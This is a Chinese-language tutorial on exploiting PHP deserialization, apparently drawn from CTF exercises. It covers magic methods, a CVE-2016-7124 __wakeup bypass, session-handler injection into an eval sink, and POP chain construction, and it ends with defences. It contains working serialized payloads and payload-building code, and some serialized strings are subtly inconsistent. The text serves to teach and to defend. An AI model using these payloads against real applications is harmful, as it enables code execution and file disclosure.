PHP反序列化由浅入深
字数 1554 2025-08-27 12:33:48

PHP反序列化漏洞从入门到精通

0x00 PHP序列化基础

序列化与反序列化函数

  • serialize(): 将一个对象转换成一个字符串
  • unserialize(): 将字符串还原成一个对象

序列化示例

class test {
    private $flag = "flag{233}";
    public $a = "aaa";
    static $b = "bbb";
}

$test = new test;
$data = serialize($test);
echo $data;

输出结果:

O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}

序列化字符串格式解析

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

注意事项

  • private属性会在序列化字符串中加入空字节(\00),导致长度计算不同
  • 反序列化时需要正确补齐空字节

反序列化示例

$str = 'O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D';
$data = urldecode($str);
$obj = unserialize($data);
var_dump($obj);

0x01 魔术方法利用

常见魔术方法

  • __construct(): 创建对象时触发
  • __destruct(): 对象被销毁时触发
  • __call(): 调用不可访问方法时触发
  • __callStatic(): 静态调用不可访问方法时触发
  • __get(): 从不可访问属性读取数据时触发
  • __set(): 向不可访问属性写入数据时触发
  • __isset(): 对不可访问属性调用isset()或empty()时触发
  • __unset(): 对不可访问属性使用unset()时触发
  • __invoke(): 将对象作为函数调用时触发

重要魔术方法详解

__sleep()

  • serialize()前调用
  • 用于清理对象并返回应被序列化的属性数组
  • 如果未返回任何内容,则NULL被序列化

__wakeup()

  • unserialize()前调用
  • 用于重新建立数据库连接或执行其他初始化操作

__toString()

  • 当对象被当作字符串使用时触发
  • 必须返回一个字符串

热身题示例

error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY") {
    echo "$flag";
}
show_source(__FILE__);

Payload:

http://example.com/?str=s:7:"D0g3!!!"

0x02 反序列化对象注入

绕过__wakeup()方法

利用CVE-2016-7124漏洞:

  • 当序列化字符串中对象属性个数的值大于真实属性个数时,会跳过__wakeup的执行

示例

class SoFun {
    protected $file = 'index.php';
    function __destruct() {
        if (!empty($this->file)) {
            if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false)
                show_source(dirname(__FILE__) . '/' . $this->file);
            else
                die('Wrong filename.');
        }
    }
    function __wakeup() {
        $this->file = 'index.php';
    }
    public function __toString() { return ''; }
}

构造Payload:

  1. 正常序列化:
    O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
    
  2. 绕过__wakeup:
    O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
    
  3. Base64编码:
    Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
    

0x03 Session反序列化漏洞

Session处理器类型

  1. php_binary: 键名长度(ASCII)+键名+serialize值
  2. php: 键名|serialize值 (默认)
  3. php_serialize: serialize数组方式

利用条件

  • 序列化和反序列化使用不同的处理器
  • 能够控制session数据

示例利用

ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
    public $mdzz;
    function __construct() { $this->mdzz = 'phpinfo();'; }
    function __destruct() { eval($this->mdzz); }
}

利用步骤

  1. 构造POST表单上传文件,触发session存储
  2. 构造恶意序列化数据:
    |O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
    
  3. 通过文件上传进度机制注入session

0x04 POP链构造

POP概念

面向属性编程(Property-Oriented Programing),通过构造特定调用链执行敏感操作。

示例分析

class start_gg {
    public $mod1; public $mod2;
    public function __destruct() { $this->mod1->test1(); }
}
class Call {
    public $mod1; public $mod2;
    public function test1() { $this->mod1->test2(); }
}
class funct {
    public $mod1; public $mod2;
    public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); }
}
class func {
    public $mod1; public $mod2;
    public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; }
}
class string1 {
    public $str1; public $str2;
    public function __toString() { $this->str1->get_flag(); return "1"; }
}
class GetFlag {
    public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; }
}

POP链构造思路

  1. 目标:执行GetFlag::get_flag()
  2. 触发点:string1::__toString()中的$this->str1->get_flag()
  3. 需要将string1对象作为字符串使用,触发__toString()
  4. 通过func::__invoke()触发字符串拼接
  5. 通过funct::__call()触发函数调用
  6. 通过Call::test1()调用不存在的方法
  7. 通过start_gg::__destruct()启动整个调用链

Payload构造

class start_gg {
    public $mod1;
    public function __construct() { $this->mod1 = new Call(); }
}
class Call {
    public $mod1;
    public function __construct() { $this->mod1 = new funct(); }
}
class funct {
    public $mod1;
    public function __construct() { $this->mod1 = new func(); }
}
class func {
    public $mod1;
    public function __construct() { $this->mod1 = new string1(); }
}
class string1 {
    public $str1;
    public function __construct() { $this->str1 = new GetFlag(); }
}
class GetFlag {
    public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; }
}

$b = new start_gg;
echo urlencode(serialize($b));

0x05 总结

反序列化漏洞利用条件

  1. 反序列化数据点用户可控
  2. 反序列化类中存在魔术方法
  3. 魔术方法中有敏感操作,或可通过POP链触发敏感操作

挖掘思路

  1. 寻找用户可控的反序列化入口
  2. 分析可用的魔术方法
  3. 构造合适的POP链(如果需要)
  4. 考虑各种过滤和限制的绕过方法

防御措施

  1. 不要反序列化不可信数据
  2. 使用json_encode()/json_decode()替代
  3. 实施严格的输入验证
  4. 使用签名验证序列化数据的完整性
PHP反序列化漏洞从入门到精通 0x00 PHP序列化基础 序列化与反序列化函数 serialize() : 将一个对象转换成一个字符串 unserialize() : 将字符串还原成一个对象 序列化示例 输出结果: 序列化字符串格式解析 注意事项 : private属性会在序列化字符串中加入空字节( \00 ),导致长度计算不同 反序列化时需要正确补齐空字节 反序列化示例 0x01 魔术方法利用 常见魔术方法 __construct() : 创建对象时触发 __destruct() : 对象被销毁时触发 __call() : 调用不可访问方法时触发 __callStatic() : 静态调用不可访问方法时触发 __get() : 从不可访问属性读取数据时触发 __set() : 向不可访问属性写入数据时触发 __isset() : 对不可访问属性调用isset()或empty()时触发 __unset() : 对不可访问属性使用unset()时触发 __invoke() : 将对象作为函数调用时触发 重要魔术方法详解 __ sleep() 在 serialize() 前调用 用于清理对象并返回应被序列化的属性数组 如果未返回任何内容,则NULL被序列化 __ wakeup() 在 unserialize() 前调用 用于重新建立数据库连接或执行其他初始化操作 __ toString() 当对象被当作字符串使用时触发 必须返回一个字符串 热身题示例 Payload : 0x02 反序列化对象注入 绕过__ wakeup()方法 利用CVE-2016-7124漏洞: 当序列化字符串中对象属性个数的值大于真实属性个数时,会跳过__ wakeup的执行 示例 : 构造Payload : 正常序列化: 绕过__ wakeup: Base64编码: 0x03 Session反序列化漏洞 Session处理器类型 php_binary : 键名长度(ASCII)+键名+serialize值 php : 键名|serialize值 (默认) php_serialize : serialize数组方式 利用条件 序列化和反序列化使用不同的处理器 能够控制session数据 示例利用 利用步骤 : 构造POST表单上传文件,触发session存储 构造恶意序列化数据: 通过文件上传进度机制注入session 0x04 POP链构造 POP概念 面向属性编程(Property-Oriented Programing),通过构造特定调用链执行敏感操作。 示例分析 POP链构造思路 : 目标:执行 GetFlag::get_flag() 触发点: string1::__toString() 中的 $this->str1->get_flag() 需要将 string1 对象作为字符串使用,触发 __toString() 通过 func::__invoke() 触发字符串拼接 通过 funct::__call() 触发函数调用 通过 Call::test1() 调用不存在的方法 通过 start_gg::__destruct() 启动整个调用链 Payload构造 : 0x05 总结 反序列化漏洞利用条件 反序列化数据点用户可控 反序列化类中存在魔术方法 魔术方法中有敏感操作,或可通过POP链触发敏感操作 挖掘思路 寻找用户可控的反序列化入口 分析可用的魔术方法 构造合适的POP链(如果需要) 考虑各种过滤和限制的绕过方法 防御措施 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代 实施严格的输入验证 使用签名验证序列化数据的完整性